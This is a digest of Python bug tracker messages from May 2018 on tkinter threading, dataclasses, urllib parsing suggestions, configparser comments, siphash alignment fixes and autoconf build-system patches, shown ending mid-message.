Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 00:16:15 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 13 May 2018 04:16:15 +0000 Subject: [issue16823] Python quits on running tkinter code with threads In-Reply-To: <1356924189.65.0.303016065786.issue16823@psf.upfronthosting.co.za> Message-ID: <1526184975.08.0.682650639539.issue16823@psf.upfronthosting.co.za> Terry J. Reedy added the comment: In the message above, I asked "why this code runs in 3.x but eventually fails in 2.x?". The answer is almost certainly that I used 3.5 with tk 8.6 compiled *with* thread support and 2.7 with tk 8.5 compiled without thread support. Serhiy, if you use a system supplied 8.6 with thread support for all Python versions, that would explain why these thread examples work for you with all Python versions. If non-thread tk works for you, then the code in _tkinter.c works better on Linux (where it must have been developed) than Windows. The original failure report duplicates other similar reports. My previous responses, including proposed doc change were incomplete, as I only learned about the tcl compile option a month ago. I opened #33479, with more extensive proposed tkinter doc changes, in favor of this. ---------- stage: -> resolved status: open -> closed superseder: -> Document tkinter and threads _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 00:22:27 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 13 May 2018 04:22:27 +0000 Subject: [issue11077] Tkinter is not thread safe In-Reply-To: <1296488432.58.0.0945320697853.issue11077@psf.upfronthosting.co.za> Message-ID: <1526185347.77.0.682650639539.issue11077@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The information missing from this issue is that tcl and tk can be compiled without and with thread support, and that the latter became default in 8.6, which is included with recent 3.x versions. Hence the launch example, as posted on #33257, works for me in 3.7 but not 2.7. I opened tkinter doc issue 33479, with this additional info, as a followup to msg183774 above. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 00:30:33 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 13 May 2018 04:30:33 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1526185833.8.0.682650639539.issue33479@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The information about the compile option comes from Ivan Pozdeev, #33257. I meant to add somewhere that thread support became default only with tk 8.6. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 00:31:38 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 13 May 2018 04:31:38 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1526185898.72.0.682650639539.issue33257@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I opened #33479 Document tkinter and threads, as a spinoff of both this issue and #11077, msg183774. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 00:56:37 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 13 May 2018 04:56:37 +0000 Subject: [issue6933] Threading issue with Tkinter Frame.insert In-Reply-To: <1253206861.41.0.487118668051.issue6933@psf.upfronthosting.co.za> Message-ID: <1526187397.54.0.682650639539.issue6933@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I changes the import to theading instead of thread and the start line to threading.Thread(target=example) On 3.7 with tcl/tk 8.6 with thread support, I see the gui when mainloop is called in the thread, and then the >>> prompt appears. On 2.7 with tk 8.5 without thread support, I see no hang but only >>>, no box, after the same time delay. With thread support, thread calls work. Without, success varies, and so do failure modes. See #33479 for proposed doc on tkinter and thread safety. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 00:58:03 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 13 May 2018 04:58:03 +0000 Subject: [issue16823] Python quits on running tkinter code with threads In-Reply-To: <1356924189.65.0.303016065786.issue16823@psf.upfronthosting.co.za> Message-ID: <1526187483.63.0.682650639539.issue16823@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- resolution: -> duplicate _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 01:09:54 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 13 May 2018 05:09:54 +0000 Subject: [issue33474] Support immutability per-field in dataclasses In-Reply-To: <1526160537.62.0.682650639539.issue33474@psf.upfronthosting.co.za> Message-ID: <1526188194.05.0.682650639539.issue33474@psf.upfronthosting.co.za> Change by Raymond Hettinger : ---------- assignee: -> eric.smith components: +Library (Lib) versions: +Python 3.8 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 02:13:37 2018 From: report at bugs.python.org (Berker Peksag) Date: Sun, 13 May 2018 06:13:37 +0000 Subject: [issue33478] PEP 8 CapWords reference wrong? In-Reply-To: <1526183699.39.0.682650639539.issue33478@psf.upfronthosting.co.za> Message-ID: <1526192017.95.0.682650639539.issue33478@psf.upfronthosting.co.za> Berker Peksag added the comment: 'CapWord' is a single word so string.capwords() works as documented: Split the argument into words using str.split(), capitalize each word using str.capitalize(), and join the capitalized words using str.join(). https://docs.python.org/3/library/string.html#string.capwords You can also see this in the REPL: >>> "CapWord".split() ['CapWord'] >>> _[0].capitalize() # '_' is a shortcut for the latest command 'Capword' ---------- nosy: +berker.peksag resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 04:11:58 2018 From: report at bugs.python.org (brent s.) Date: Sun, 13 May 2018 08:11:58 +0000 Subject: [issue33480] Improvement suggestions for urllib.parse.urlparser Message-ID: <1526199118.32.0.682650639539.issue33480@psf.upfronthosting.co.za> New submission from brent s. : Currently, a parsed urlparse() object looks (roughly) like this: urlparse('http://example.com/foo;key1=value1?key2=value2#key3=value3#key4=value4') returns: ParseResult(scheme='http', netloc='example.com', path='/foo', params='key1=value1', query='key2=value2', fragment='key3=value3#key4=value4') However, I recommend a couple things: 0.) that ParseResult objects support dict emulation. e.g. one can run: dict(parseresult_obj) and get (using the example string above (corrected classification for RFC2986 compliance and common usage): {'fragment': [('key4', 'value4')], 'netloc': 'foo.tld', 'params': [('key2', 'value2')], 'path': '/foo', 'query': [('key3', 'value3')], 'scheme': 'http'} Obviously, fragment, params, and query could instead be serialized into a nested dict. I'm not sure which is more preferred in the pythonic sense. 1.) Better RFC3986 compliance. Per RFC3986 ? 3 (https://tools.ietf.org/html/rfc3986#section-3), the URL can be further split into separate components. For instance, while considered deprecated, should "userinfo" (e.g. "http://user:password at ...") be parsed? At the very least, the port should be parsed out to a separate component from the netloc (or userinfo parsed out separate from netloc) - this will assist in parsing host:port combinations in netlocs that contain both userinfo and a specified port (and allow the port to be given as an int type, thus more easily used in e.g. the socket lib). 2.) If a component is not present, I suggest it be a None object instead of an empty string. e.g.: urlparse('http://example.com/foo') Would return: ParseResult(scheme='http', netloc='example.com', path='/foo', params=None, query=None, fragment=None) instead of ParseResult(scheme='http', netloc='example.com', path='/foo', params='', query='', fragment='') ---------- components: Library (Lib) messages: 316454 nosy: bsaner priority: normal severity: normal status: open title: Improvement suggestions for urllib.parse.urlparser type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 04:38:56 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 13 May 2018 08:38:56 +0000 Subject: [issue31500] IDLE: Tiny font on HiDPI display In-Reply-To: <1505674446.46.0.331613884884.issue31500@psf.upfronthosting.co.za> Message-ID: <1526200736.76.0.682650639539.issue31500@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Something was changed on my computer (I upgraded the OS twice since creating this issue), and now I don't see any difference between patched and unpatched 2.7. Terry, could you please test whether there are any visible effects on Windows? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 05:19:40 2018 From: report at bugs.python.org (David Vasseur) Date: Sun, 13 May 2018 09:19:40 +0000 Subject: [issue33471] string format with 'n' failling with french locales In-Reply-To: <1526124606.41.0.682650639539.issue33471@psf.upfronthosting.co.za> Message-ID: <1526203180.67.0.682650639539.issue33471@psf.upfronthosting.co.za> David Vasseur added the comment: >>> locale.localeconv() {'int_curr_symbol': 'EUR ', 'currency_symbol': '?', 'mon_decimal_point': ',', 'mon_thousands_sep': '\u202f', 'mon_grouping': [3, 0], 'positive_sign': '', 'negative_sign': '-', 'int_frac_digits': 2, 'frac_digits': 2, 'p_cs_precedes': 0, 'p_sep_by_space': 1, 'n_cs_precedes': 0, 'n_sep_by_space': 1, 'p_sign_posn': 1, 'n_sign_posn': 1, 'decimal_point': ',', 'thousands_sep': '\u202f', 'grouping': [3, 0]} ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 06:26:00 2018 From: report at bugs.python.org (David James Peters) Date: Sun, 13 May 2018 10:26:00 +0000 Subject: [issue33481] configparser.write() does not save comments. Message-ID: <1526207160.12.0.682650639539.issue33481@psf.upfronthosting.co.za> New submission from David James Peters : The ConfigParser().write() does not save the comments; this makes using comments harder because it requires a separate demo ini file the user must be able to locate and read from without learning anything from the INI file they are using. Not Good. Pls make configparser save the comments or guide me to what I can do to fully support comments in my app. I am still reading the configparser documentation but it says its heavily customizable. Saving and loading comments is a must for my ini files. ---------- components: Extension Modules messages: 316457 nosy: pebaudhi priority: normal severity: normal status: open title: configparser.write() does not save comments. type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 06:34:45 2018 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 13 May 2018 10:34:45 +0000 Subject: [issue33474] Support immutability per-field in dataclasses In-Reply-To: <1526160537.62.0.682650639539.issue33474@psf.upfronthosting.co.za> Message-ID: <1526207685.41.0.682650639539.issue33474@psf.upfronthosting.co.za> Eric V. Smith added the comment: Can you explain your use case for this? Also, how do you envision this working with the existing frozen, hashing, and equality behavior? There are a lot of interactions there, and we'd want to do something that makes sense holistically, and isn't likely to cause trouble for casual users. I haven't checked, but does attrs do anything like this? It might make sense to try out the idea there, first. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 06:57:34 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 13 May 2018 10:57:34 +0000 Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za> Message-ID: <1526209054.25.0.682650639539.issue28055@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 1e2ec8a996daec65d8d5a3d43b66a9909c6d0653 by Serhiy Storchaka (Rolf Eike Beer) in branch 'master': bpo-28055: Fix unaligned accesses in siphash24(). (GH-6123) https://github.com/python/cpython/commit/1e2ec8a996daec65d8d5a3d43b66a9909c6d0653 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 06:57:46 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 13 May 2018 10:57:46 +0000 Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za> Message-ID: <1526209066.28.0.682650639539.issue28055@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6463 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 06:58:43 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 13 May 2018 10:58:43 +0000 Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za> Message-ID: <1526209123.35.0.682650639539.issue28055@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6464 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 07:16:33 2018 From: report at bugs.python.org (Amit Saha) Date: Sun, 13 May 2018 11:16:33 +0000 Subject: [issue33478] PEP 8 CapWords reference wrong? In-Reply-To: <1526183699.39.0.682650639539.issue33478@psf.upfronthosting.co.za> Message-ID: <1526210193.66.0.682650639539.issue33478@psf.upfronthosting.co.za> Amit Saha added the comment: Thanks for the reply. I think I was not clear - the behavior of string.capitalize() is correct as per documentation. But the PEP8 referring to CapWords as cap words case is the bit I am not clear about, since `Capwords` back when you call `string.capwords('CapWords') and not `CapWords`. (Just reopening so that it doesn't get lost) ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 07:17:10 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 13 May 2018 11:17:10 +0000 Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za> Message-ID: <1526210230.47.0.682650639539.issue28055@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 8ed545f6de37efdadbcf71c45bb8136b8cb9619d by Miss Islington (bot) in branch '3.7': bpo-28055: Fix unaligned accesses in siphash24(). (GH-6123) https://github.com/python/cpython/commit/8ed545f6de37efdadbcf71c45bb8136b8cb9619d ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 07:20:07 2018 From: report at bugs.python.org (R. David Murray) Date: Sun, 13 May 2018 11:20:07 +0000 Subject: [issue33478] PEP 8 CapWords reference wrong? In-Reply-To: <1526183699.39.0.682650639539.issue33478@psf.upfronthosting.co.za> Message-ID: <1526210407.0.0.682650639539.issue33478@psf.upfronthosting.co.za> R. David Murray added the comment: In PEP 8 'CapWords" does not refer to the capwords function, as is fairly clear from context. A big clues is that it is not spelled 'capwords', and case matters in python function names :) I can understand your getting confused, but that sentence is trying to list the various names give to this style of naming, and "CapWords" is one of those names, so I don't know that we should delete it. ---------- nosy: +r.david.murray status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 07:26:58 2018 From: report at bugs.python.org (R. David Murray) Date: Sun, 13 May 2018 11:26:58 +0000 Subject: [issue33481] configparser.write() does not save comments. In-Reply-To: <1526207160.12.0.682650639539.issue33481@psf.upfronthosting.co.za> Message-ID: <1526210818.57.0.682650639539.issue33481@psf.upfronthosting.co.za> Change by R. David Murray : ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 07:40:06 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 13 May 2018 11:40:06 +0000 Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za> Message-ID: <1526211606.11.0.682650639539.issue28055@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 0d17e60b33aca1a4d151a8a2bd6eaa331f0ec658 by Miss Islington (bot) in branch '3.6': bpo-28055: Fix unaligned accesses in siphash24(). (GH-6123) https://github.com/python/cpython/commit/0d17e60b33aca1a4d151a8a2bd6eaa331f0ec658 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 09:10:31 2018 From: report at bugs.python.org (Michael Felt) Date: Sun, 13 May 2018 13:10:31 +0000 Subject: [issue33464] AIX and "specialized downloads" links In-Reply-To: <1526039427.77.0.682650639539.issue33464@psf.upfronthosting.co.za> Message-ID: <1526217031.0.0.682650639539.issue33464@psf.upfronthosting.co.za> Michael Felt added the comment: Took me a while to get this 'posted' properly. - please see https://github.com/python/pythondotorg/issues/1156 My apologies for the noise. ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 10:33:47 2018 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 13 May 2018 14:33:47 +0000 Subject: [issue33482] codecs.StreamRecoder.writelines is broken Message-ID: <1526222027.51.0.682650639539.issue33482@psf.upfronthosting.co.za> New submission from Jelle Zijlstra : codecs.StreamRecoder.writelines is implemented as: def writelines(self, list): data = ''.join(list) data, bytesdecoded = self.decode(data, self.errors) return self.writer.write(data) It can't take a list of bytes because then the ''.join throws an error, and it can't take a list of str because self.decode takes bytes. It looks like bytes are intended (self.write takes bytes), so I'll submit a simple PR to fix this. ---------- messages: 316465 nosy: Jelle Zijlstra priority: normal severity: normal status: open title: codecs.StreamRecoder.writelines is broken versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 10:37:56 2018 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 13 May 2018 14:37:56 +0000 Subject: [issue33482] codecs.StreamRecoder.writelines is broken In-Reply-To: <1526222027.51.0.682650639539.issue33482@psf.upfronthosting.co.za> Message-ID: <1526222276.73.0.682650639539.issue33482@psf.upfronthosting.co.za> Change by Jelle Zijlstra : ---------- keywords: +patch pull_requests: +6465 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 12:16:59 2018 From: report at bugs.python.org (Michael Felt) Date: Sun, 13 May 2018 16:16:59 +0000 Subject: [issue27632] build on AIX fails when builddir != srcdir, more than bad path to ld_so_aix In-Reply-To: <1469608112.86.0.803958819971.issue27632@psf.upfronthosting.co.za> Message-ID: <1526228219.01.0.682650639539.issue27632@psf.upfronthosting.co.za> Michael Felt added the comment: OOT builds are working for Python2.7, Python3-3.5, Python3-3.6 (and later I expect) but not for Python3-3.4(.8) unable to execute '../git/python3-3.4.8/Modules/ld_so_aix': No such file or directory while building OOT root at x066:[/data/prj/python]ls -ld ./python3-3.4.8 git/python3-3.4.8 drwxr-sr-x 12 root 1954 4096 May 13 16:07 ./python3-3.4.8 drwxrwsr-x 16 199 1954 4096 May 13 15:37 git/python3-3.4.8 Sigh. So close! ---------- versions: +Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 12:19:04 2018 From: report at bugs.python.org (Michael Felt) Date: Sun, 13 May 2018 16:19:04 +0000 Subject: [issue27632] build on AIX fails when builddir != srcdir, more than bad path to ld_so_aix In-Reply-To: <1469608112.86.0.803958819971.issue27632@psf.upfronthosting.co.za> Message-ID: <1526228344.96.0.682650639539.issue27632@psf.upfronthosting.co.za> Michael Felt added the comment: Wishing I could edit a post... root at x066:[/data/prj/python]find ./python3-3.4.8 git/python3-3.4.8 -name ld_so_aix ./python3-3.4.8/Modules/ld_so_aix ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 12:42:37 2018 From: report at bugs.python.org (Nicholas Chammas) Date: Sun, 13 May 2018 16:42:37 +0000 Subject: [issue22269] Resolve distutils option conflicts with priorities In-Reply-To: <1408919544.9.0.398406846461.issue22269@psf.upfronthosting.co.za> Message-ID: <1526229757.65.0.682650639539.issue22269@psf.upfronthosting.co.za> Change by Nicholas Chammas : ---------- nosy: +nchammas _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 14:28:54 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 13 May 2018 18:28:54 +0000 Subject: [issue33483] build system requires explicit compiler, but should discover it Message-ID: <1526236134.66.0.682650639539.issue33483@psf.upfronthosting.co.za> New submission from Eitan Adler : configure.ac requires explicit configuration for finding the preferred compiler. This results in a non-native way of configuring the system, and does not actually work on most platforms. Expected behavior: CC is used to discover the C compiler; CPP, LD, CXX, etc. are used to discover their appropriate tools Actual: --without-gcc or --with-icc must be explicitly passed ---------- components: Build messages: 316468 nosy: eitan.adler priority: normal severity: normal status: open title: build system requires explicit compiler, but should discover it type: compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 14:30:32 2018 From: report at bugs.python.org (Stefan Krah) Date: Sun, 13 May 2018 18:30:32 +0000 Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za> Message-ID: <1526236232.04.0.682650639539.issue28055@psf.upfronthosting.co.za> Stefan Krah added the comment: MSVC optimizes memcpy() to an assignment, sometimes too well (pgo): https://bugs.python.org/issue15993 But that is fixed long ago, so I also think that the memcpy() approach is best. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 14:31:39 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 13 May 2018 18:31:39 +0000 Subject: [issue33483] build system requires explicit compiler, but should discover it In-Reply-To: <1526236134.66.0.682650639539.issue33483@psf.upfronthosting.co.za> Message-ID: <1526236299.04.0.682650639539.issue33483@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- keywords: +patch pull_requests: +6466 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 14:32:15 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Sun, 13 May 2018 18:32:15 +0000 Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za> Message-ID: <1526236334.99.0.682650639539.issue28055@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Indeed the memcpy() approach is the common idiom in such situations, and sounds like the right thing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 14:38:36 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 13 May 2018 18:38:36 +0000 Subject: [issue33484] build system runs when it merely link Message-ID: <1526236716.08.0.682650639539.issue33484@psf.upfronthosting.co.za> New submission from Eitan Adler : The build system attempts to run certain test code when it can actually just link the code. This is a minor performance optimization but is really a semantic correctness issue. ---------- components: Build messages: 316471 nosy: eitan.adler priority: normal severity: normal status: open title: build system runs when it merely link _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 14:41:47 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 13 May 2018 18:41:47 +0000 Subject: [issue33484] build system runs when it merely link In-Reply-To: <1526236716.08.0.682650639539.issue33484@psf.upfronthosting.co.za> Message-ID: <1526236907.82.0.682650639539.issue33484@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- keywords: +patch pull_requests: +6468 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 14:51:58 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 13 May 2018 18:51:58 +0000 Subject: [issue33485] autoconf target does not Message-ID: <1526237518.92.0.682650639539.issue33485@psf.upfronthosting.co.za> New submission from Eitan Adler : The current "autoconf" target is suboptimal in a few ways: - it does not use a quoted srcdir - it uses autoheader and autoconf instead of autoreconf - it does act sanely if 'cd' fails. ---------- components: Build messages: 316472 nosy: eitan.adler priority: normal severity: normal status: open title: autoconf target does not type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 14:52:16 2018 From: report at bugs.python.org (R. David Murray) Date: Sun, 13 May 2018 18:52:16 +0000 Subject: [issue33484] build system runs when it merely link In-Reply-To: <1526236716.08.0.682650639539.issue33484@psf.upfronthosting.co.za> Message-ID: <1526237536.68.0.682650639539.issue33484@psf.upfronthosting.co.za> R. David Murray added the comment: Thanks for wanting to improve Python. Your PR seems to contain quite a few changes that aren't obviously related to your topic. As for the topic, I know there are at least some cases where we really do have to *run* the code to prove the function is supported by the platform. That is, there are platforms that define the function but it doesn't actually work. I don't know if that applies to the things you are changing, and it will require input from people with more knowledge of the build system than I to confirm that your changes are a good idea. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 14:52:17 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 13 May 2018 18:52:17 +0000 Subject: [issue33485] autoconf target does not behave correctly In-Reply-To: <1526237518.92.0.682650639539.issue33485@psf.upfronthosting.co.za> Message-ID: <1526237537.18.0.682650639539.issue33485@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- title: autoconf target does not -> autoconf target does not behave correctly _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 14:56:11 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 13 May 2018 18:56:11 +0000 Subject: [issue33484] build system runs when it merely link In-Reply-To: <1526236716.08.0.682650639539.issue33484@psf.upfronthosting.co.za> Message-ID: <1526237771.55.0.682650639539.issue33484@psf.upfronthosting.co.za> Eitan Adler added the comment: The unrelated changes are likely due to the "regen" step. I am using newer tools than previously used. It is unclear to me why we include generated files in the repository. Some projects prefer this to avoid the need to have autotools installed on the build machine. With regard to "some cases where we really do have to *run* the code to prove the function" you will notice that this is not a complete search and replace: I manually looked through the various uses of AC_RUN_IFELSE and only changed the ones that I thought should be changed. If someone has more knowledge of more arcane platforms and disagrees with my assessment, I will happily revert those changes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 14:58:23 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 13 May 2018 18:58:23 +0000 Subject: [issue33485] autoconf target does not behave correctly In-Reply-To: <1526237518.92.0.682650639539.issue33485@psf.upfronthosting.co.za> Message-ID: <1526237903.33.0.682650639539.issue33485@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- keywords: +patch pull_requests: +6469 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 15:03:42 2018 From: report at bugs.python.org (R. David Murray) Date: Sun, 13 May 2018 19:03:42 +0000 Subject: [issue33484] build system runs when it merely link In-Reply-To: <1526236716.08.0.682650639539.issue33484@psf.upfronthosting.co.za> Message-ID: <1526238222.43.0.682650639539.issue33484@psf.upfronthosting.co.za> R. David Murray added the comment: Yes, we are one of those projects that wants it to be possible to build python without having the tools that generate build artifacts. You will note that we also check in build artifacts that are produced by our own python scripts, to avoid the problem of trying to build python when you don't yet have a python. Please use the same version of autotools as were used to generate the current files. Upgrading autotools is done in a separate PR that only does the upgrade (and I don't know how we decide when to do that...) Actually, you could just generate the PR with the changes to the source files, not the build artifacte, for the initial review. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 15:06:28 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 13 May 2018 19:06:28 +0000 Subject: [issue33484] build system runs when it merely link In-Reply-To: <1526236716.08.0.682650639539.issue33484@psf.upfronthosting.co.za> Message-ID: <1526238388.1.0.682650639539.issue33484@psf.upfronthosting.co.za> Eitan Adler added the comment: I believe I have removed the regen step from all my patches. I will separately upgrade the generated files (particularly since it is only a minor version bump). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 15:08:03 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 13 May 2018 19:08:03 +0000 Subject: [issue33486] regen autotools related files Message-ID: <1526238483.3.0.682650639539.issue33486@psf.upfronthosting.co.za> New submission from Eitan Adler : There are few if any functional changes, but this is helpful when making other changes to the build system. ---------- components: Build messages: 316477 nosy: eitan.adler priority: normal severity: normal status: open title: regen autotools related files type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 15:11:20 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 13 May 2018 19:11:20 +0000 Subject: [issue33486] regen autotools related files In-Reply-To: <1526238483.3.0.682650639539.issue33486@psf.upfronthosting.co.za> Message-ID: <1526238680.22.0.682650639539.issue33486@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- keywords: +patch pull_requests: +6470 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 16:29:44 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Sun, 13 May 2018 20:29:44 +0000 Subject: [issue33480] Improvement suggestions for urllib.parse.urlparser In-Reply-To: <1526199118.32.0.682650639539.issue33480@psf.upfronthosting.co.za> Message-ID: <1526243384.18.0.682650639539.issue33480@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: Such drastic changes of uncertain usefulness are best discussed at python-ideas first. What you're really asking for seems to be to parse all "levels" at the same time. Try to think of a use case that would make that help anything practical and bring that to the list. I fail to see any use case 'cuz you never need query parameters and things like username/port at the same time. All else that you suggest is either already being done (username/port parsing, read the docs) or likewise has no use cases I can think of where it would make things more convenient than they already are (dict emulation, None). ---------- nosy: +Ivan.Pozdeev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 17:22:34 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Sun, 13 May 2018 21:22:34 +0000 Subject: [issue33461] json.loads(encoding=) does not emit deprecation warning. In-Reply-To: <1526005873.13.0.682650639539.issue33461@psf.upfronthosting.co.za> Message-ID: <1526246554.03.0.682650639539.issue33461@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- pull_requests: +6471 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 17:25:15 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Sun, 13 May 2018 21:25:15 +0000 Subject: [issue33461] json.loads(encoding=) does not emit deprecation warning. In-Reply-To: <1526005873.13.0.682650639539.issue33461@psf.upfronthosting.co.za> Message-ID: <1526246715.24.0.682650639539.issue33461@psf.upfronthosting.co.za> Matthias Bussonnier added the comment: I've opened https://github.com/python/cpython/pull/6784 as an alternative that removes it. I was worried to remove it so close to 3.7. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 17:32:09 2018 From: report at bugs.python.org (Fred L. Drake, Jr.) Date: Sun, 13 May 2018 21:32:09 +0000 Subject: [issue33274] minidom removeAttributeNode returns None In-Reply-To: <1523644603.75.0.682650639539.issue33274@psf.upfronthosting.co.za> Message-ID: <1526247129.85.0.682650639539.issue33274@psf.upfronthosting.co.za> Fred L. Drake, Jr. added the comment: While I've no strong objection to updating to follow the specification, I also don't see any real value here. The current minidom implementation has been considered sufficient for many years now (if you consider the DOM desirable at all), so the lack of conformance with the W3C spec doesn't seem significant in practice. ---------- nosy: +fdrake _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 17:40:08 2018 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 13 May 2018 21:40:08 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: 